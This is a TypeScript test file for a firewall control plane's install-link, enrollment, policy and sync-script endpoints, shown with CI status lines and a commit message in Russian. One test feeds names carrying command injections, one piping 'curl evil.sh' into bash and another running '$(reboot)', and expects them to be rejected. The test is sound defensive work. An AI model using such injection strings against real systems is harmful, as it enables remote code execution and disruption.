quality / commitlint (push) Skipped
quality / changes (push) Failing after 8s
quality / openapi (push) Skipped
quality / web (push) Skipped
quality / api (push) Skipped
CD / quality (push) Failing after 9s
quality / docker-check (push) Skipped
CD / publish (push) Skipped
- genReqId (uuid) + x-request-id в каждом ответе и request_id в error envelope — корреляция ошибок между клиентом и логами - RBAC: /agents/:id/(stats|blocked-ips|blocked-ports) классифицируются как fw:stats:read (reset остаётся под fw:agents:write) - web: test-скрипт + 10 unit-тестов (filter-utils, fleet-kpis, parseClaims, nav) - typecheck-скрипты для api/shared/db; CI: тесты shared и web, typecheck всех пакетов - гигиена: .node-version (22), актуальный .dockerignore, drizzle out → ./migrations, удалены 12 лишних .gitkeep и пустой apps/api/test
384 lines
12 KiB
TypeScript
384 lines
12 KiB
TypeScript
import { describe, it, expect, afterAll } from 'vitest'
|
|
import { buildApp } from '../app.js'
|
|
import type { AppConfig } from '../config.js'
|
|
|
|
const testConfig: AppConfig = {
|
|
databaseUrl: 'sqlite::memory:',
|
|
jwtSecret: 'test',
|
|
jwtTtlHours: 24,
|
|
serverPort: 8080,
|
|
staticDir: null,
|
|
logLevel: 'error',
|
|
authRequired: false,
|
|
authIssuer: 'https://auth.test',
|
|
authPortalUrl: 'http://localhost:5175',
|
|
publicBaseUrl: 'https://fw.example.com',
|
|
enrollSeed: 'test-seed',
|
|
corsOrigins: [],
|
|
authAuditIngestSecret: null,
|
|
secretKey: null,
|
|
statsRetentionDays: 30,
|
|
}
|
|
|
|
describe('install-links', () => {
|
|
const appPromise = buildApp({ memory: true, config: testConfig })
|
|
|
|
afterAll(async () => {
|
|
const app = await appPromise
|
|
await app.close()
|
|
})
|
|
|
|
it('creates invited agent and serves scripts by id and slug', async () => {
|
|
const app = await appPromise
|
|
await app.ready()
|
|
|
|
const created = await app.inject({
|
|
method: 'POST',
|
|
url: '/api/v1/install-links',
|
|
payload: { name: 'web-01', platform: 'linux' },
|
|
})
|
|
expect(created.statusCode).toBe(201)
|
|
const body = created.json() as {
|
|
id: string
|
|
slug: string
|
|
agent_id: string
|
|
curl: { by_id: string; by_slug: string }
|
|
}
|
|
expect(body.id).toBeTruthy()
|
|
expect(body.slug).toBeTruthy()
|
|
expect(body.agent_id).toBeTruthy()
|
|
expect(body.curl.by_id).toContain(`/agent-install/${body.id}`)
|
|
|
|
const agents = await app.inject({ method: 'GET', url: '/api/v1/agents' })
|
|
expect(agents.statusCode).toBe(200)
|
|
const list = agents.json() as {
|
|
items: {
|
|
id: string
|
|
status: string
|
|
install_curl?: string | null
|
|
}[]
|
|
}
|
|
const invited = list.items.find((a) => a.id === body.agent_id)
|
|
expect(invited?.status).toBe('invited')
|
|
expect(invited?.install_curl).toContain(body.slug)
|
|
|
|
const byId = await app.inject({
|
|
method: 'GET',
|
|
url: `/agent-install/${body.id}`,
|
|
})
|
|
expect(byId.statusCode).toBe(200)
|
|
expect(byId.headers['content-type']).toContain('text/x-shellscript')
|
|
expect(byId.body).toContain("EVOFW_CLIENT_NAME='web-01'")
|
|
expect(byId.body).toContain(`EVOFW_INSTALL_LINK_ID='${body.id}'`)
|
|
|
|
const bySlug = await app.inject({
|
|
method: 'GET',
|
|
url: `/${body.slug}`,
|
|
})
|
|
expect(bySlug.statusCode).toBe(200)
|
|
expect(bySlug.body).toContain("EVOFW_CP_URL='https://fw.example.com'")
|
|
})
|
|
|
|
it('enroll with install_link_id updates invited agent to pending', async () => {
|
|
const app = await appPromise
|
|
await app.ready()
|
|
|
|
const created = await app.inject({
|
|
method: 'POST',
|
|
url: '/api/v1/install-links',
|
|
payload: { name: 'web-02', platform: 'linux' },
|
|
})
|
|
const link = created.json() as { id: string; agent_id: string }
|
|
|
|
const enroll = await app.inject({
|
|
method: 'POST',
|
|
url: '/v1/agent/enroll',
|
|
headers: {
|
|
'content-type': 'application/json',
|
|
'x-evofw-seed': 'test-seed',
|
|
},
|
|
payload: {
|
|
name: 'web-02',
|
|
hostname: 'host-02',
|
|
platform: 'linux',
|
|
token: 'evofw_test_token_1234567890abcd',
|
|
install_link_id: link.id,
|
|
},
|
|
})
|
|
expect(enroll.statusCode).toBe(201)
|
|
const enrolled = enroll.json() as { id: string; status: string }
|
|
expect(enrolled.id).toBe(link.agent_id)
|
|
expect(enrolled.status).toBe('pending')
|
|
|
|
const agents = await app.inject({ method: 'GET', url: '/api/v1/agents' })
|
|
const list = agents.json() as { items: { id: string; status: string }[] }
|
|
const row = list.items.find((a) => a.id === link.agent_id)
|
|
expect(row?.status).toBe('pending')
|
|
})
|
|
|
|
it('rejects install link names with unsafe characters', async () => {
|
|
const app = await appPromise
|
|
await app.ready()
|
|
|
|
const bad = await app.inject({
|
|
method: 'POST',
|
|
url: '/api/v1/install-links',
|
|
payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' },
|
|
})
|
|
expect(bad.statusCode).toBe(400)
|
|
|
|
const quotes = await app.inject({
|
|
method: 'POST',
|
|
url: '/api/v1/install-links',
|
|
payload: { name: "name'$(reboot)", platform: 'linux' },
|
|
})
|
|
expect(quotes.statusCode).toBe(400)
|
|
})
|
|
|
|
it('masks per-list api_token in list responses', async () => {
|
|
const app = await appPromise
|
|
await app.ready()
|
|
|
|
const created = await app.inject({
|
|
method: 'POST',
|
|
url: '/api/v1/lists',
|
|
payload: {
|
|
name: 'evobgp-masked',
|
|
type: 'evobgp_community',
|
|
config: {
|
|
api_url: 'https://bgp.example.com',
|
|
api_token: 'super-secret-token',
|
|
community_id: '',
|
|
},
|
|
},
|
|
})
|
|
expect(created.statusCode).toBe(200)
|
|
const body = created.json() as { config_json: string }
|
|
expect(body.config_json).not.toContain('super-secret-token')
|
|
expect(body.config_json).toContain('********')
|
|
|
|
const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' })
|
|
const items = (lists.json() as { items: { config_json: string }[] }).items
|
|
expect(
|
|
items.some((l) => l.config_json.includes('super-secret-token')),
|
|
).toBe(false)
|
|
expect(items.some((l) => l.config_json.includes('********'))).toBe(true)
|
|
})
|
|
|
|
it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
|
|
const app = await appPromise
|
|
await app.ready()
|
|
|
|
const created = await app.inject({
|
|
method: 'POST',
|
|
url: '/api/v1/install-links',
|
|
payload: { name: 'mt-01', platform: 'mikrotik' },
|
|
})
|
|
expect(created.statusCode).toBe(201)
|
|
const body = created.json() as {
|
|
id: string
|
|
slug: string
|
|
agent_id: string
|
|
curl: { by_id: string; by_slug: string }
|
|
}
|
|
expect(body.curl.by_id).toContain('/tool fetch url=')
|
|
expect(body.curl.by_id).toContain('/import file-name=evofw-install.rsc')
|
|
expect(body.curl.by_id).not.toContain('| bash')
|
|
|
|
const byId = await app.inject({
|
|
method: 'GET',
|
|
url: `/agent-install/${body.id}`,
|
|
})
|
|
expect(byId.statusCode).toBe(200)
|
|
expect(byId.headers['content-type']).toContain('text/plain')
|
|
expect(byId.body).toContain(':global EvofwCpUrl "https://fw.example.com"')
|
|
expect(byId.body).toContain(`:global EvofwInstallLinkId "${body.id}"`)
|
|
expect(byId.body).toContain('evofw-deny-drop-input')
|
|
expect(byId.body).toContain('/v1/agent/policy')
|
|
expect(byId.body).toContain(':deserialize')
|
|
expect(byId.body).toContain('evofw-sync-body')
|
|
expect(byId.body).toContain('remove [find name="evofw-env"]')
|
|
})
|
|
|
|
it('approved agent can fetch empty policy without rule sets', async () => {
|
|
const app = await appPromise
|
|
await app.ready()
|
|
|
|
const created = await app.inject({
|
|
method: 'POST',
|
|
url: '/api/v1/install-links',
|
|
payload: { name: 'empty-policy', platform: 'linux' },
|
|
})
|
|
const link = created.json() as { id: string; agent_id: string }
|
|
const token = 'evofw_empty_policy_token_abcdefgh'
|
|
|
|
const enroll = await app.inject({
|
|
method: 'POST',
|
|
url: '/v1/agent/enroll',
|
|
headers: {
|
|
'content-type': 'application/json',
|
|
'x-evofw-seed': 'test-seed',
|
|
},
|
|
payload: {
|
|
name: 'empty-policy',
|
|
platform: 'linux',
|
|
token,
|
|
install_link_id: link.id,
|
|
},
|
|
})
|
|
expect(enroll.statusCode).toBe(201)
|
|
|
|
await app.inject({
|
|
method: 'POST',
|
|
url: `/api/v1/agents/${link.agent_id}/approve`,
|
|
})
|
|
|
|
const policy = await app.inject({
|
|
method: 'GET',
|
|
url: '/v1/agent/policy',
|
|
headers: { authorization: `Bearer ${token}` },
|
|
})
|
|
expect(policy.statusCode).toBe(200)
|
|
const body = policy.json() as {
|
|
deny_cidrs: string[]
|
|
allow_cidrs: string[]
|
|
default_action: string
|
|
policy_mode: string
|
|
apply_version: number
|
|
hash: string
|
|
script_sha256: string
|
|
}
|
|
expect(body.deny_cidrs).toEqual([])
|
|
expect(body.allow_cidrs).toEqual([])
|
|
expect(body.default_action).toBe('accept')
|
|
expect(body.policy_mode).toBe('blacklist')
|
|
expect(body.apply_version).toBe(3)
|
|
expect(body.hash).toMatch(/^sha256:/)
|
|
expect(body.script_sha256).toMatch(/^[a-f0-9]{64}$/)
|
|
|
|
const agents = await app.inject({ method: 'GET', url: '/api/v1/agents' })
|
|
const row = (
|
|
agents.json() as { items: { id: string; last_seen_at: string | null }[] }
|
|
).items.find((a) => a.id === link.agent_id)
|
|
expect(row?.last_seen_at).toBeTruthy()
|
|
})
|
|
|
|
it('approved agent can fetch policy.rsc with address-list commands', async () => {
|
|
const app = await appPromise
|
|
await app.ready()
|
|
|
|
const created = await app.inject({
|
|
method: 'POST',
|
|
url: '/api/v1/install-links',
|
|
payload: { name: 'mt-policy', platform: 'mikrotik' },
|
|
})
|
|
const link = created.json() as { id: string; agent_id: string }
|
|
const token = 'evofw_mt_policy_token_abcdefghij'
|
|
|
|
const enroll = await app.inject({
|
|
method: 'POST',
|
|
url: '/v1/agent/enroll',
|
|
headers: {
|
|
'content-type': 'application/json',
|
|
'x-evofw-seed': 'test-seed',
|
|
},
|
|
payload: {
|
|
name: 'mt-policy',
|
|
platform: 'mikrotik',
|
|
token,
|
|
install_link_id: link.id,
|
|
},
|
|
})
|
|
expect(enroll.statusCode).toBe(201)
|
|
|
|
await app.inject({
|
|
method: 'POST',
|
|
url: `/api/v1/agents/${link.agent_id}/approve`,
|
|
})
|
|
|
|
// add a deny override so policy has a CIDR
|
|
await app.inject({
|
|
method: 'POST',
|
|
url: `/api/v1/agents/${link.agent_id}/overrides`,
|
|
payload: { action: 'deny', cidr: '203.0.113.0/24' },
|
|
})
|
|
|
|
const rsc = await app.inject({
|
|
method: 'GET',
|
|
url: '/v1/agent/policy.rsc',
|
|
headers: { authorization: `Bearer ${token}` },
|
|
})
|
|
expect(rsc.statusCode).toBe(200)
|
|
expect(rsc.headers['content-type']).toContain('text/plain')
|
|
expect(rsc.body).toContain('address-list')
|
|
expect(rsc.body).toContain('EVOFW_DENY')
|
|
expect(rsc.body).toContain('203.0.113.0/24')
|
|
})
|
|
|
|
it('sync-script serves ETag and 304 on If-None-Match', async () => {
|
|
const app = await appPromise
|
|
await app.ready()
|
|
|
|
const first = await app.inject({
|
|
method: 'GET',
|
|
url: '/v1/agent/sync-script',
|
|
})
|
|
expect(first.statusCode).toBe(200)
|
|
expect(first.body.startsWith('#!')).toBe(true)
|
|
expect(first.body).toContain('maybe_self_update')
|
|
const etag = String(first.headers.etag ?? '')
|
|
const sha = String(first.headers['x-evofw-script-sha256'] ?? '')
|
|
expect(etag).toMatch(/^"[a-f0-9]{64}"$/)
|
|
expect(sha).toBe(etag.replaceAll('"', ''))
|
|
|
|
const cached = await app.inject({
|
|
method: 'GET',
|
|
url: '/v1/agent/sync-script',
|
|
headers: { 'if-none-match': etag },
|
|
})
|
|
expect(cached.statusCode).toBe(304)
|
|
|
|
const miss = await app.inject({
|
|
method: 'GET',
|
|
url: '/v1/agent/sync-script',
|
|
headers: { 'if-none-match': '"deadbeef"' },
|
|
})
|
|
expect(miss.statusCode).toBe(200)
|
|
expect(miss.body).toBe(first.body)
|
|
|
|
const created = await app.inject({
|
|
method: 'POST',
|
|
url: '/api/v1/install-links',
|
|
payload: { name: 'script-sha-policy', platform: 'linux' },
|
|
})
|
|
const link = created.json() as { id: string; agent_id: string }
|
|
const token = 'evofw_script_sha_token_abcdefghij'
|
|
const enroll = await app.inject({
|
|
method: 'POST',
|
|
url: '/v1/agent/enroll',
|
|
headers: {
|
|
'content-type': 'application/json',
|
|
'x-evofw-seed': 'test-seed',
|
|
},
|
|
payload: {
|
|
name: 'script-sha-policy',
|
|
platform: 'linux',
|
|
token,
|
|
install_link_id: link.id,
|
|
},
|
|
})
|
|
expect(enroll.statusCode).toBe(201)
|
|
await app.inject({
|
|
method: 'POST',
|
|
url: `/api/v1/agents/${link.agent_id}/approve`,
|
|
})
|
|
const policy = await app.inject({
|
|
method: 'GET',
|
|
url: '/v1/agent/policy',
|
|
headers: { authorization: `Bearer ${token}` },
|
|
})
|
|
expect(policy.statusCode).toBe(200)
|
|
expect((policy.json() as { script_sha256: string }).script_sha256).toBe(sha)
|
|
})
|
|
})
|